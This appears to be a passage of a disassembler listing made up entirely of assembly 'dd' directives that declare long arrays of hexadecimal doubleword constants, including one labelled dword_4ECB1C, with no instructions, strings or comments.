		dd 0E34ACFF0h, 166E9CC9h, 9261B7B4h, 5037A404h,	4040D4C8h
		dd 259E5EDCh, 6E56084Ch, 680239BEh, 0E77952DAh,	93875A17h
		dd 7FE8137Fh, 6E02C7A1h, 992F4329h, 1B7A8C08h, 0B5C33FCEh
		dd 0BAF6395Ah, 0EE17A160h, 60401F5Ch, 0E3C60C43h, 41958804h
		dd 3C223154h, 2875D010h, 0F20AE56h, 0B5510458h,	0FB662C59h
		dd 0E4CC087h, 0E160E123h, 5F684041h, 97F95AD7h,	0ED5C5E7Ch
		dd 2051CF7h, 0C83D742Dh, 99A508F1h, 41F45D12h, 0D5E7FFC1h
		dd 7E7E9DEEh, 0FBF3F88h, 165650E7h, 0C129144Bh,	3DBA3676h
		dd 706BBC0h, 0CFB626C1h, 0EAAAEEB3h, 867955F7h,	75B7E025h
		dd 4F167D5Dh, 1C7097D2h, 0F205810Bh, 9A28A52Ch,	0AB1612FFh
		dd 92482F8Eh, 3371830Fh, 3D34FE33h, 5B54F800h, 2463D19h
		dd 0E903EEC1h, 0E9FCF8A6h, 125F5188h, 0B145633h, 4DD379F6h
		dd 2631F3AFh, 0EC6313BBh, 4546C53Eh, 0EBAD35BAh, 0CA51D3D3h
		dd 1C087FF1h, 657C12F0h, 0A2CD1817h, 20283DFEh,	9A09DC2Dh
		dd 8047C31Fh, 2C1970DDh, 61E91074h, 0D3624FC0h,	9316042h
		dd 63994C7Eh, 4043F502h, 4F607A11h, 5627FB5Eh, 0FEC3E265h
		dd 68520044h, 0F4ADB2CFh, 0E9AA40EFh, 5997EE2Ch, 90D749E5h
		dd 95A6B022h, 62B52A4Ch, 90987818h, 27AF16A4h, 23D44E4h
		dd 0C04BF488h, 5D667140h, 0F81D05ADh, 0DEF7CF74h, 8105464Ch
		dd 54E8CE18h, 7E78F60Ah, 0BC39D9Ah, 6E5205F0h, 690824B9h
		dd 1443F2Fh, 1824D86Ch,	5B9B59E9h, 0AD705A2Dh, 0BF14C88Ch
		dd 18EF146Bh, 0F5EFEBE4h, 0E52E0E60h, 63CB683Fh, 481FBAE6h
		dd 0D465040Dh, 629D6251h, 0F6D6F702h, 0DDDB8D83h, 3D1D3AE3h
		dd 7DCB6807h, 4DEC4288h, 625BDA22h, 41195F47h, 2CB425A8h
		dd 0E956A09Eh, 73BF67C8h, 5D020D8h, 9062489Eh, 0FB34DC8h
		dd 2808441h, 8D7360C2h,	4F82EF96h, 828BD030h, 0CCA1C226h
		dd 4AC1A396h, 92DC4B0h,	0C879EBA6h, 0C304CA48h,	721D1B19h
		dd 74747ED0h, 885E404Bh, 0E8BE80E5h, 6B086207h,	2FC5F329h
		dd 70328B89h, 6191D617h, 7CF4F689h, 0CBCAA29Bh,	4032EAF7h
		dd 80D763D2h, 5D5CEF09h, 50B9010Ch, 814A9A0Ah, 2FA9BA70h
		dd 0A3DC12EDh, 2D55BB08h, 5638A8B3h, 5D46A525h,	24084508h
		dd 0B105722Bh, 5ADD4E0Fh, 0E5EA3CBh, 45B8EC21h,	164A1948h
		dd 17E870Ah, 0A50E12D6h, 0F3814219h, 0C15EB903h, 0A8402CBEh
		dd 9DE559Bh, 846E92Eh, 0CE4FA768h, 78DBED27h, 0AEFF81BEh
		dd 64D5D312h, 1007648Eh, 3EC0EED1h, 283E88D2h, 2FE331E4h
		dd 0A2F9E829h, 0B3815565h, 767B92AEh, 0C2F20DC9h, 8CBD0F6h
		dd 52FFF156h, 71218F02h, 84B82C02h, 0B207A590h,	3C79792h
		dd 0AAA504D0h, 8B3FE86Dh, 88A9179Dh, 0C07C0561h, 2CCD6800h
		dd 23634496h, 1ECF4A93h, 57074C92h, 105ED92Dh, 538487BDh
		dd 489933BBh, 24778ABDh, 0C24AB35Ah, 52C6B929h,	0F2AA2CB0h
		dd 362BF51h, 64B7D6DCh,	2D688BBCh, 608F5957h, 4C112151h
		dd 6F00E198h, 810DF34Dh, 7B314BCDh, 3EFE8097h, 454832F4h
		dd 86510166h, 85E98228h, 0FEBA053Fh, 0C9BA91C1h, 95BDCFACh
		dd 0A91F04C0h, 610512F3h, 60A8ED81h, 0D3E1EBCDh, 0FFCAFADCh
		dd 57A0904Ah, 86B2BEE9h, 0DDB75309h, 0EFB002FEh, 51989966h
		dd 587A1C64h, 8F246C52h, 93B4738h, 0A2551C7Dh, 2A06C18h
		dd 5B306851h, 96D771F4h, 0B4DF80ADh, 0C4646A19h, 5DF2475h
		dd 0EC281D3Ah, 57CA054Dh, 0E8827865h, 526807C1h, 0B340F11Eh
		dd 0B399E72Bh, 406850E0h, 0B997C403h, 15C0561h,	0A62C50AEh
		dd 1C80C52Fh, 0D7685750h, 3A332D1Fh, 1F84CC17h,	565A84A7h
		dd 47713DCh, 0AA0B8109h, 40E0E3DCh, 2283D24Ah, 0C39DD712h
		dd 4CCA2EC1h, 14A44F62h, 0F62FC0C8h, 6D016472h,	5EF3317Ch
		dd 0F747D889h, 7AD33D1Ch, 5DD97A5Ah, 0F734F779h, 540A878h
		dd 750E419Ch, 3BB84BFh,	772801ACh, 0D2ACFE10h, 5FCD801Dh
		dd 4E68C566h, 0C21FFC73h, 5540B3F3h, 0CDE9C602h, 0C55F9DA9h
		dd 9F9F2A67h, 0B04AC533h, 8A5B1CF2h, 0D4E9C533h, 0E25BADE8h
		dd 0D218D117h, 5EE941C8h, 0C497E93Eh, 0DCBE2539h, 0B641EE12h
		dd 0FA6DD53Fh, 4D31D444h, 489845D8h, 9DE59EBh, 1391BBADh
		dd 0B6C16B02h, 776FFD76h, 0E048B4B6h, 3B0BBB22h, 48498438h
		dd 89BC4E1Ch, 0C0916EEEh, 33F4FE01h, 78E8ABCEh,	0C0387C94h
		dd 5BF6804Eh, 6628F530h, 6F7AD55Ah, 7879ED25h, 0DCCDF370h
		dd 3366C3C0h, 0CB0CB151h, 0B652D0B7h, 0F34E2876h, 538320EDh
		dd 0F992C788h, 48280849h, 527EFBE5h, 41E9CA16h,	82BEC04Eh
		dd 0A1443D47h, 8EBC1E6h, 91740420h, 96A5CF84h, 78D4B2EDh
		dd 0F3AC4C37h, 9F7214E7h, 0DBCADF4Eh, 71A6080Fh, 0C67B276Ch
		dd 5E94053Ch, 0FA0BB3B0h, 8118DF23h, 2946A076h,	17A044CEh
		dd 5C00EE08h, 0A11D17F1h
		dd 6D42568h, 5E5D0510h,	374510B0h, 19072A68h, 0D2023D2Eh
		dd 995F4847h, 0FBD4CFA4h, 0F4F34DE9h, 1216553Bh, 5810305Ch
		dd 0E994F921h, 7613FA6Ah, 0CFE54591h, 70DDF701h, 97BECE78h
		dd 34ADC781h, 0C80316Fh, 52192A9Ah, 0E912D701h,	0CA8A61A5h
		dd 7B6E257Ch, 0AD0F5DA2h, 4241BE07h, 0FA8008F4h, 47CF2A1Ch
		dd 829720E9h, 7FE8D17Ah, 9D829A49h, 28D753C7h, 0D3F66A47h
		dd 1F04DB26h, 8B05E3C0h, 9EEEA5B4h, 0E19E1AF6h,	68297D25h
		dd 0F8C51EDDh, 0BE65BFEEh, 918BE989h, 0B09DDE4Bh, 0E0503B04h
		dd 0E1A8B5EAh, 284A39B2h, 5EF960Ch, 46586EAh, 7470FFB0h
		dd 0E9FA090Bh, 97E670FCh, 58CA600h, 810312F8h, 0AB3578F2h
		dd 0D40C3B51h, 72198498h, 1CF6F969h, 0D66CE91Ah, 0C50055DDh
		dd 732E8EE3h, 39731F48h, 25FF903h, 27EEC5B0h, 670F5EFh
		dd 2930D20h, 33B9055Fh,	0C2D51992h, 4070B31h, 0AA126521h
		dd 47E16391h, 88F6E181h, 2C5F3266h, 275A3A7Ah, 0C1757CC2h
		dd 6E47C9E9h, 0F7FC2574h, 0CA3951D3h, 2D575226h, 36C5FD2Eh
		dd 3C32ABB6h, 13F4F608h, 0B9442157h, 0D34A6988h, 0FBE51BB8h
		dd 0B63BE4CDh, 0C8B6C054h, 9B60C168h, 35F3A7B8h, 25E9D304h
		dd 5AD28F0h, 0BF5ECC05h, 6E8AC058h, 5416A679h, 0CBFCE829h
		dd 0BB4ABBD0h, 0B37E0D39h, 203C88F1h, 0F8B48128h, 388A40CFh
		dd 2C47B05h, 0D0291303h, 29F0F7E9h, 0EAD14A13h,	594121BAh
		dd 0C9493FA7h, 52FA722Dh, 8110A45Fh, 729D7E5Ah,	5F65F460h
		dd 9EE4A98Dh, 0F68A7E89h, 0F9BFA0CAh, 0A430EC2Ah, 0E97031BAh
		dd 2D342593h, 75C3251Dh, 0B2E9C010h, 5C18C1BEh,	83B91562h
		dd 2366DD81h, 4E554C1Bh, 3EC4B3BCh, 726802E1h, 9894662Eh
		dd 3DBF0705h, 0F0557810h, 31F13A21h, 0C385E92Fh, 29ABDC97h
		dd 0F2AF2133h, 0D197EACEh, 799831ACh, 18CA6786h, 5AE30D0Eh
		dd 0E8C180FAh, 87590A78h, 89BC5B1Eh, 0B4E72EB9h, 0FB6CA604h
		dd 75F38038h, 1109627Dh, 0F5FF13E9h, 0AEBA4598h, 7D033913h
		dd 56159004h, 0A3FD590Bh, 152F11Eh, 842D0390h, 0D4093C7Eh
		dd 0A227299Eh, 9D42784Dh, 622A52F0h, 0A125A5ABh, 0A98B7146h
		dd 20C62898h, 8101F2AAh, 0FA25DDC9h, 7BF0417Ah,	0DBD9956Ch
		dd 0B22F9DA2h, 0D225B79h, 0AF416947h, 0A85DF622h, 0AC455622h
		dd 0D7134952h, 6C62FE7Bh, 7EC1CAA3h, 0AE1F5381h, 5713A6BFh
		dd 5CC79500h, 5AAEA8FBh, 5B3AD72Dh, 2798445Ah, 3996D292h
		dd 2A7C5Ah, 9EBE5652h, 4F4C9601h, 0D9A3476h, 8CA1EF13h
		dd 0D160F37Bh, 0D6680B85h, 5AB37716h, 40115D1h,	71A08C82h
		dd 33B60BC3h, 9185718Fh, 0BA84EEFh, 0E8026E6h, 0CF5A5427h
		dd 0E9773139h, 0F2C6D69Ch, 0E9F041B6h, 0EC614ED8h, 30EFA448h
		dd 88EFE9CBh, 36C5F1C1h, 40FE2B74h, 82CCE8C1h, 7444D605h
		dd 0C21ABECDh, 0D1CFDE3h, 0CAC26C96h, 63BD00F6h, 0FCC5112Dh
		dd 0DA885772h, 0FA18BF58h, 5E979D50h, 0D14643C5h, 81CB2B09h
		dd 5953E9EBh, 0E44F946Ah, 0E5B75F62h, 8C312916h, 0C2EBBA01h
		dd 116EE01Eh, 306B74EDh, 97F10512h, 1001FE2Dh, 0C7908AADh
		dd 122AF233h, 195F4984h, 0E92A04E4h, 352931CCh,	726F7E25h
		dd 38405134h, 760D44F3h, 0BF1B903h, 86E4B13Fh, 9EEAE9FCh
		dd 1812EE39h, 783E775Dh, 7F715FD7h, 0B14CE912h,	0C04BFDF2h
		dd 495B5D88h, 809F6698h, 5AD631A5h, 20369089h, 4EE8D2BEh
		dd 97468A12h, 9DA16AFh,	0E030E6FEh, 0B92CD3h, 0FC4B4310h
		dd 5AD51232h, 300BBF87h, 83D8ED8Eh, 0DEF15DF2h,	491E5627h
		dd 0C77605D5h, 922A3099h, 0EFA7AC07h, 71C87081h, 7CF63314h
		dd 3469FFD3h, 16A5217Ah, 5753007Dh, 791E03BFh, 22BB0A85h
		dd 4FFD0B4Bh, 0C3906250h, 4EF28791h, 0B5AF0640h, 1D292712h
		dd 3505B313h, 0ECE04D17h, 9AA1F056h, 12789DF7h,	7B25D97Dh
		dd 0A7B7EF2h, 0BE8FC28Dh, 7C398B4Eh, 0E31BCC7Eh, 0C0245158h
		dd 0B648E9CEh, 47D925D0h, 0B27AE958h, 7F6813C2h, 2AFDA356h
		dd 0BC94CE13h, 2992AB26h, 0F11CC9AAh, 1006E7Dh,	28A8C480h
		dd 88149CE3h, 5DC2C7B1h, 27AEFA8Ch, 0D54C59CEh,	0EA801B7h
		dd 0D041FC6Dh, 0A23EF695h, 0B49DD810h, 85B1385Ch, 8B73E127h
		dd 0E290B517h, 28CCE2F1h, 9DCA2F0h, 7DD94CB2h, 2959B205h
		dd 0D840EC8Fh, 20D66695h, 0D897E52Fh, 0AA12F015h, 90267DC5h
		dd 3AFB0602h, 0E668B8A1h, 4CA00D03h, 9EE915FBh,	0CB322A04h
		dd 52D3F666h, 0D3276447h, 0AE90B17h, 12D101C2h,	8C6D9149h
		dd 0D2B82381h, 4401396Ah, 0B4D8BE83h, 0CB47952Ch, 7242220Bh
		dd 1C14F18h, 0AB8F72B1h, 33846BE7h, 0D0CBF982h,	67989F36h
		dd 0B05E62Dh, 0E8014202h, 0CD161AC1h, 4B771C2Dh, 0EBF0124Bh
		dd 0D95F3ECAh, 21074430h, 6FEBE92Dh, 28B9EE00h,	0B7735C78h
		dd 0CF3146C1h, 509930F9h, 3A55CEE0h, 94368628h,	77F38E62h
		dd 0F4956A3Ch, 70F4A5E4h, 6805ADC8h, 0C4FC2B88h, 24CC5AA2h
		dd 570255BCh, 0A050F6E9h, 1E2A8FC3h, 152D0030h,	483E2632h
		dd 745A88E9h, 169ED8FCh, 0EAB4857Eh, 823A464Fh,	885B2752h
		dd 0E90407B1h, 4FB4F16Eh, 24B44FC2h, 61CBAB11h,	966E6A24h
		dd 4D67094Ah, 0BA511A7Eh, 43BF32Eh, 337047F6h, 6E9CA2C5h
		dd 222700B4h, 34CF810Fh, 2AE77B62h, 8EC709C0h, 0B4791678h
		dd 8CDD2529h, 0C60B3052h, 4DEF658h, 98EFC0C8h, 0EF9F4B76h
		dd 0B400A76Eh, 0FD885DB7h, 0ABAD5B5Bh, 54205458h, 28E4040Ch
		dd 1CD166C1h, 0EE6DE180h, 0CA300BECh, 273A7745h, 0E8DFD895h
		dd 13F25AE9h, 7883E824h, 4FA86226h, 3FAAC68Dh, 97898B7Ah
		dd 0F4974FAh, 288BB3C1h, 0F0E07FD8h, 6AFD0478h,	65020622h
		dd 866884D2h, 9A32D24Ah, 9627E4D6h, 182792D7h, 2F500E68h
		dd 0C3888401h, 880D60DFh, 542E6855h, 5D19EF14h,	3CCB03B5h
		dd 0DAE97231h, 982F7775h, 65086302h, 3B6A56E0h,	4B5C4A19h
		dd 7A40010Eh, 362CA3CBh, 0C1874CCh, 537CFE16h, 4B2DC100h
		dd 91B0E4Ah, 0FBE9D001h, 0F482A7FCh, 5F3CC74Eh,	6A5AE748h
		dd 0E93B241Dh, 0DD24E26Dh, 0BF01B6ECh, 7B7D30D8h, 217F2BE9h
		dd 0D86C7C89h, 0DA58F738h, 169B3B8Ch, 0DCC1B859h, 0B834AEE9h
		dd 1D6912BDh, 0C3EAC75h, 6EB4124Fh, 414541CAh, 0B369CFh
		dd 3D04A7BBh, 1E1652EAh, 4A5FB2A8h, 0E85D5588h,	9381B2EAh
		dd 0A077A50Ch, 4DD7BBCFh, 81320088h, 0EB6A64F3h, 6BBD4352h
		dd 619AD2D3h, 137A01BBh, 0B408A58h, 0F154FB68h,	9F3F881Ah
		dd 13FE4A18h, 84E02E5Bh, 59652F90h, 813D5826h, 0E9141012h
		dd 0D0094CEh, 2F3D6008h, 0A41F166Eh, 5BA2DA44h,	58BAA52h
		dd 0B8205E48h, 0F1A5049Ch, 3F2308F8h, 2C6FE09h,	7FB668EAh
		dd 0B7066646h, 84C7800Bh, 0E90F1706h, 6ABEA1B0h, 0C9268B2h
		dd 6195DB08h, 5EEE3713h, 0D30558FCh, 0C1400117h, 289CA76h
		dd 97E4DD5Ah, 14D3A37Eh, 40E03DFFh, 0B10EEC4Fh,	0DD0C2E69h
		dd 3E8C6FAAh, 0DC10987h, 7F806929h, 686C7511h, 64CBE91Ah
		dd 5B79908Fh, 0A2D87A21h, 0AD1F79B7h, 173155FAh, 7CCC33D1h
		dd 0FD9A302Eh, 16188162h, 5E38F756h, 0AA799D57h, 3322E964h
		dd 0C1B6050Fh, 0E06B23C9h, 1A1DDB1Fh, 0CD8766FCh, 65065526h
		dd 88DD09BAh, 21FE984Dh, 16EA890Bh, 4E50B7DBh, 9BB0E44h
		dd 3066523Ch, 0F124900h, 0CC02CE0h, 7E6217BFh, 6BF024E9h
		dd 1EFB92CAh, 0B0574BD9h, 200794DDh, 0B65EBBB8h, 0C4109C2h
		dd 18FE5D86h, 8FAE9658h
dword_4ECB1C	dd 0A8940440h, 13A335C8h, 0F0163611h, 0F809C33Ah, 5872B945h
		dd 0BCD880D4h, 4ABF3053h, 73F1680Ch, 0DA897D12h, 18587A2h
		dd 46A8C1FAh, 520500C3h, 0E23A3DEFh, 2700A925h,	2554685Eh
		dd 62AF59B5h, 4D01F184h, 0D520EDC1h, 3E723EF5h,	10D2772Ch
		dd 0A72775EFh, 9C74593Dh, 0A8029668h, 75BAC4C3h, 85C47DACh
		dd 715D0945h, 95C86B91h, 68806675h, 0E32D4DFDh,	6592A810h
		dd 9DEE5A66h, 6AA5E86Dh, 0C931D9BFh, 5303B282h,	0F7D9F702h
		dd 0D1A2810Eh, 99DDCB68h, 2A90563Fh, 0FCBD0270h, 5F57650Ch
		dd 0E19FEA4Bh, 4108314Ch, 0C47A3888h, 7E97297Eh, 4C646936h
		dd 9170E10Ch, 1A00C5Bh,	2DC3715Dh, 70854918h, 0A09F7A76h
		dd 91E0EEA9h, 128A4B16h, 850CFDF4h, 25AAE13Ch, 0AA231182h
		dd 0D653F64Fh, 0FED2A7E9h, 0F6591B92h, 0B61E2DFDh, 4079E925h
		dd 4CCF29FDh, 0B9041359h, 0C0B478F2h, 9EE9CEEFh, 276C6A49h
		dd 27E971C3h, 5F1E9E5Bh, 35685B8Eh, 23B096CCh, 17D1EC09h
		dd 4BD9E910h, 221E66F0h, 1DA36812h, 0B5E0F389h,	1F252C11h
		dd 0B74716D4h, 0D6547BF2h, 0A709BE97h, 41CAA62h, 30FB7159h
		dd 6152506h, 0AB68420Ch, 5D393976h, 1789C3F2h, 11439AEh
		dd 0DB8FC0AAh, 908705E5h, 634EE878h, 8C4C1081h,	0DCA10810h
		dd 18946210h, 2D286F32h, 0E108C477h, 764A066Dh,	0A5B03320h
		dd 18F60C08h, 8276B31h,	188CEA7Fh, 6C0869CBh, 66B4B640h
		dd 599E2056h, 18ADE331h, 2003532Ah, 1FFF2910h, 4D415731h
		dd 0F3109E0Eh, 965B0831h, 0A47E188Dh, 884BF508h, 8D72718h
		dd 0C6089B08h, 71370C46h, 4D630F08h, 18845218h,	1804F808h
		dd 8C651C1h, 2018DFA1h,	99315D07h, 0C4D310B7h, 883E088Ch
		dd 10C68231h, 620886F7h, 49239125h, 1866D203h, 30358E08h
		dd 5780BCDBh, 1A448063h, 0CD5618C4h, 6D44104h, 330880E3h
		dd 0A7A15493h, 4ADB0818h, 0C6584830h, 18E7F908h, 8602232h
		dd 66CE2372h, 0F9CB2010h, 0E9F24076h, 0A6184165h, 32A8E046h
		dd 5F622008h, 285B1431h, 88CB3E2h, 3A1824BDh, 40437740h
		dd 79CA0B46h, 0EF889088h, 737F0CEEh, 0E4A89310h, 0FB83EC7Eh
		dd 0B9081872h, 62F61807h, 873608C6h, 0B8BE5418h, 77134039h
		dd 63678940h, 67B100Fh,	0F84C0812h, 8CE5048h, 4708C71Ah
		dd 4F0A0C61h, 0B9CCE710h, 40FB595Ch, 0D8A87C57h, 10C41028h
		dd 0D80C7D72h, 0C263B7F1h, 2A799E08h, 32A45D20h, 701178D4h
		dd 2632D02h, 0D4ACD6A7h, 349213A1h, 188C6649h, 0F4108431h
		dd 1D1180F6h, 80DDB780h, 0C780472Eh, 7808C603h,	483118CCh
		dd 6A1308EFh, 2282188Ch, 1441AA08h, 24529A21h, 0DA1903B1h
		dd 0C5990810h, 916E251Ah, 71F95CA6h, 8135AD32h,	0D1A30653h
		dd 0C9804E54h, 0C2105963h, 0E2512057h, 8F0EE31h, 0C8249033h
		dd 0D708C41Eh, 24DF095Fh, 0AC9245D0h, 78BCA228h, 6EC60230h
		dd 3263F703h, 8621AC51h, 65E96106h, 4429192Fh, 6B5C7A4h
		dd 31085AB6h, 94183C95h, 6F089C21h, 83D42060h, 497A8620h
		dd 0E3129CFBh, 9D044849h, 54445D12h, 55042C5Bh,	21290C0Dh
		dd 0A99A4063h, 3C086163h, 4F3930F3h, 0FC9C6028h, 93A4E84Ch
		dd 0BBEF9B03h, 8B261E44h, 0D31839C7h, 473B1041h, 2752C03h
		dd 1B8913EBh, 3DA7B90Eh, 440105D0h, 49408F00h, 0F775C90Bh
		dd 0C0744A8Bh, 0F003DE96h, 9547B94Ah, 0F80C033h, 0D3304FB1h
		dd 9844EB2Ch, 12567CE6h, 0C232A97Dh, 0F6A5E955h, 5BDE8B69h
		dd 44F131B3h, 7464AF0Ah, 2E912878h, 0CF95108h, 281A354Bh
		dd 0CE5AF139h, 2D3AAB81h, 7CF695ADh, 43B75305h,	0E6DEC8FAh
		dd 0F63B1673h, 0F4CE1E14h, 0E936C644h, 7389286h, 49B05066h
		dd 16F7CB88h, 0FF30C1AFh, 2A6573E9h, 0A85955D0h, 9DB3302h
		dd 9B5A2D85h, 1084F6E8h, 2EA2AB54h, 27C43579h, 37D0EE12h
		dd 515D6068h, 89FE8F45h, 0CBDFF407h, 0CE72FD01h, 98F7C65Eh
		dd 5D3030Fh, 0DCE9761Dh, 0EA97404Ah, 681C25F9h,	0DA0E4260h
		dd 0B8F1BF27h, 7A92607Ah, 437F562Dh, 0F95A6127h, 55D06009h
		dd 750B4668h, 0F65D715Ah, 80E82537h, 0A8F59DE9h, 0DE3F782Ah
		dd 31925D70h, 0B94DF253h, 73F2A707h, 0E0291C8h,	484E35BFh
		dd 154D4147h, 1761E5DCh, 0ADD9F6E9h, 4B1E71AEh,	3DC838FFh
		dd 0B3680593h, 0A08DD842h, 57080754h, 1B25BF07h, 0FA904661h
		dd 0C74952E9h, 72D92820h, 0C89B0C80h, 8D5720FAh, 2A28117Fh
		dd 67DEBA5h, 6254A68Fh,	9700BB13h, 0DD789DB0h, 1B680257h
		dd 5F1F7418h, 8A39865Eh, 0CBD55CBh, 7FC38100h, 2470481Eh
		dd 0C80EB29h, 0C0E9FEE7h, 270D5C12h, 564128ABh,	0E9EFE93Bh
		dd 0A84D7C8h, 0E603EF5Ah, 0E352B145h, 88C41C1h,	0BAECC57Fh
		dd 94FC5912h, 8543DCA1h, 4F38684Ah, 40DE9CACh, 6C6B49BEh
		dd 8565D8E9h, 4FF8591Ch, 9D253579h, 6E7CAA12h, 10E274Ah
		dd 780D5FE7h, 0E12B1C37h, 0EBF8E189h, 7BF91A5Fh, 97D5E89h
		dd 701874B9h, 859771E9h, 0A5B8588Fh, 0BC536B64h, 0DD5AB294h
		dd 80B6065h, 34A1D248h,	0FA922623h, 0FF68EEC8h,	0E013CD3Ah
		dd 0B4BF61F7h, 0C25AB4E8h, 14DF8F54h, 287B9D74h, 9DBDE8A7h
		dd 0BFEA9546h, 1B766580h, 81191510h, 550D72F7h,	4DCDD480h
		dd 0D5892F9Ch, 0BCC55A76h, 39EA8843h, 0A756F8E3h, 0F642B4B5h
		dd 52F6DD05h, 4451AB27h, 0E085D315h, 68FF0356h,	0A4406D55h
		dd 250FF42Dh, 115E298Ah, 388D4F1Fh, 0C5201C6Bh,	0DFF6069Eh
		dd 611E780h, 0F7094176h, 0C0885213h, 0C7FFB7E4h, 8257E5C5h
		dd 650E68D5h, 6F34ECCh,	0C229F300h, 0ACC98133h,	23985712h
		dd 0EBAA2CAEh, 6E91B3A0h, 9673D9BFh, 51210EECh,	0A8BA2F1Ch
		dd 0A94CAC02h, 0F30103h, 776D8050h, 0DA295E67h,	55065B60h
		dd 0FAF0B850h, 0E8354F93h, 0DFB422B1h, 0B10214BCh, 1E740048h
		dd 0CB7E2B70h, 0BDC8D894h, 517B13E7h, 89BE5600h, 0D1679174h
		dd 2558C0E6h, 403B4B39h, 0F2012DE2h, 0E90F2707h, 0A36E6913h
		dd 9A8C9F4Bh, 4C881074h, 0B526C3F0h, 5807CC7Dh,	260A17BFh
		dd 0E81344C1h, 840F0D6Eh, 0A16BDF5Fh, 4CDBF844h, 652099A4h
		dd 57E897F1h, 393E8AA6h, 237F963Ah, 46C24B40h, 4B49B408h
		dd 9AE1A459h, 0DDB59854h, 0E3275B4Ch, 0D9FBDC0Ch, 0C25496D9h
		dd 0E31875A3h, 95BA1029h, 6FB85F16h, 0E9D77FADh, 0C2F71602h
		dd 0CDEC18DDh, 4065CEDDh, 74E0E53h, 75C735C3h, 0F82AF1D4h
		dd 0BE5DE949h, 62167457h, 2004737h, 0B8C8A2C6h,	0BD5E9ADDh
		dd 1075D2B2h, 808E5917h, 0CBB0C331h, 51245671h,	0B702FC73h
		dd 87587412h, 0D89091ECh, 51ADE901h, 0A5439E19h, 0BF01FCF1h
		dd 7F793BA4h, 6BA7084h,	28137268h, 0D811B99Dh, 3F359B24h
		dd 222568F1h, 0C5D566E2h, 0D09089A9h, 3782F529h, 2091594h
		dd 0B204E97h, 0AE467B40h, 636354BCh, 492A2821h,	0D030DDFEh
		dd 0EC800CF9h, 0C785F82Fh, 835FFE95h, 105FA8A2h, 43C439E8h
		dd 3D4688C7h, 4A446918h, 25648D0Ch, 3ADF72A0h, 93655D45h
		dd 13DD485h, 0AA978EA3h, 0B9E51118h, 1E5D138Bh,	0A55DEF5Eh
		dd 3F4A7A47h, 0AA53DB53h, 1CB413Eh, 0CDC62D41h,	7DF59752h
		dd 1D317FA4h, 0A0180876h, 9421B3FBh, 10B7AC67h,	73E34FDAh
		dd 5D31A6D2h, 2EA64E33h, 520B4316h, 2050E150h, 0ECEC520Fh
		dd 315F547Fh, 57E39F91h, 4C96BF41h, 372D9700h, 0F7D1F81Eh
		dd 0C1BFDECCh, 0BDB6D3h, 6A94F2F3h, 181629E5h, 26408EE9h
		dd 767BFF68h, 16609D0Bh
		dd 0AE3B197Fh, 0BCE30105h, 436D6E0Fh, 0BB9408Eh, 5E530DE1h
		dd 0B7A63B5Bh, 59A3B74Bh, 0E2C11DD9h, 593F157Ch, 645A07C4h
		dd 5A4B60Ah, 0CD815690h, 3F161C5Dh, 30544B68h, 2D177766h
		dd 1D055104h, 0CE24C517h, 5E3D84F8h, 92EDD6ACh,	8247FC31h
		dd 51156468h, 19B1BB21h, 44126B3Dh, 42AB00AFh, 2D5CD63Dh
		dd 0C2265A71h, 83800510h, 6E35FFC0h, 0DFE2743h,	0BF58C976h
		dd 0BC0F4F6Fh, 0B480749Ch, 0D4F60566h, 493D4168h, 0A249513Fh
		dd 7C5AC350h, 0FE92EDD7h, 0A24ED589h, 6A895593h, 82291E33h
		dd 1DC75C84h, 0EEC045FEh, 0CBB8603h, 5CBBE750h,	13416941h
		dd 283B4F18h, 1E6AC183h, 0F3089692h, 6AFF1897h,	4E98475Fh
		dd 7F3DA00Bh, 1055007h,	192DF029h, 700A1D69h, 2B54C2DBh
		dd 6C32E976h, 615B1035h, 0A3A7DBDCh, 0C809D6CDh, 2D43A0B5h
		dd 585D1297h, 2601A17Ah, 0E9341520h, 327DD219h,	0D2CEF594h
		dd 3B33E92Eh, 7CF526BEh, 0FD7A17BDh, 8D1956B3h,	42E0494Ah
		dd 5144908Eh, 66076BB6h, 0C81546h, 0A3037F49h, 715993E9h
		dd 5AF313B2h, 0C1C034A2h, 0E919F480h, 953BC032h, 0B08AC0F1h
		dd 41183069h, 377AF50Ch, 0DDBC3D60h, 9F2B396Ah,	95409784h
		dd 5963BC38h, 791D04ACh, 0F5C34D06h, 0EBDB09AEh, 0B2058201h
		dd 7FDDBFC2h, 0B0103E88h, 0DCEAA630h, 5F972D7Ah, 5B2CE358h
		dd 0A2588361h, 8979B83h, 8B09F325h, 5A3BDC2Ch, 0DCC57840h
		dd 89C34BC0h, 0F680A888h, 0CDC2BF45h, 0BF069457h, 0F7EB0310h
		dd 0BE015195h, 6E67688Fh, 0FB06F2A4h, 73EDA8DDh, 8C4F6178h
		dd 0B1F8F815h, 0F5740750h, 0F626FF12h, 0B6F902BBh, 0C4602975h
		dd 14E2FC6h, 8194BFFCh,	7A2C3C10h, 72FD5A9Ah, 2942134Ah
		dd 2F514897h, 146158A0h, 0A7816CACh, 2A501DD6h,	0F1148925h
		dd 29E908BAh, 89738C3h,	0BA0112C8h, 7B1510FAh, 6AE5A13Fh
		dd 6073D7E1h, 0EA1852D2h, 0B9E99B60h, 39B3B263h, 0C198A5F4h
		dd 28510613h, 0D7C3E151h, 1177390h, 7B88A7B9h, 0B1B70FA0h
		dd 1E7991EFh, 0B128285Fh, 306A750Fh, 3048DAC7h,	1527747Dh
		dd 8D35A11Ah, 0C3E73B41h, 82AC7C2h, 0A0022C3Fh,	45BE5A44h
		dd 0A9192A8Dh, 4102924Ah, 0F5D941B5h, 269F29C0h, 16407848h
		dd 69FE13DDh, 22F10011h, 3D4C197Dh, 507C0622h, 8182AEFh
		dd 1BBF137Ah, 0E83FE20Eh, 5F37021Ah, 507577ACh,	3D4E9EF3h
		dd 0C6A9C15Bh, 1903BFFFh, 291CDBD2h, 3A21E32Ah,	0B316E037h
		dd 70C380A6h, 3C9690BDh, 0EE05E628h, 5AE95863h,	2EC23CB1h
		dd 1EB42F5h, 66227DEBh,	0F1EB4A20h, 5D0886CAh, 2F8B051Eh
		dd 0FA592794h, 7313DCCAh, 8AD98110h, 33352A33h,	8B663CBEh
		dd 0FAE91C5Fh, 0EEF3ABA4h, 0B258567Ch, 5EBAE90Eh, 0E4DB2D1Ch
		dd 0C1AF5C64h, 24A768CAh, 9030E9C1h, 43ED6D6Bh,	473D300Ch
		dd 0E0099D0Ch, 4E90E17h, 0B8AD334Ah, 6F2C5103h,	0DFEEB154h
		dd 1648CDC0h, 949232E9h, 9914C0B7h, 6890AE2Ch, 77D0704Bh
		dd 1CF62FB9h, 0C4F7816Dh, 0BA1FC610h, 4DC0E5C1h, 20B27EDAh
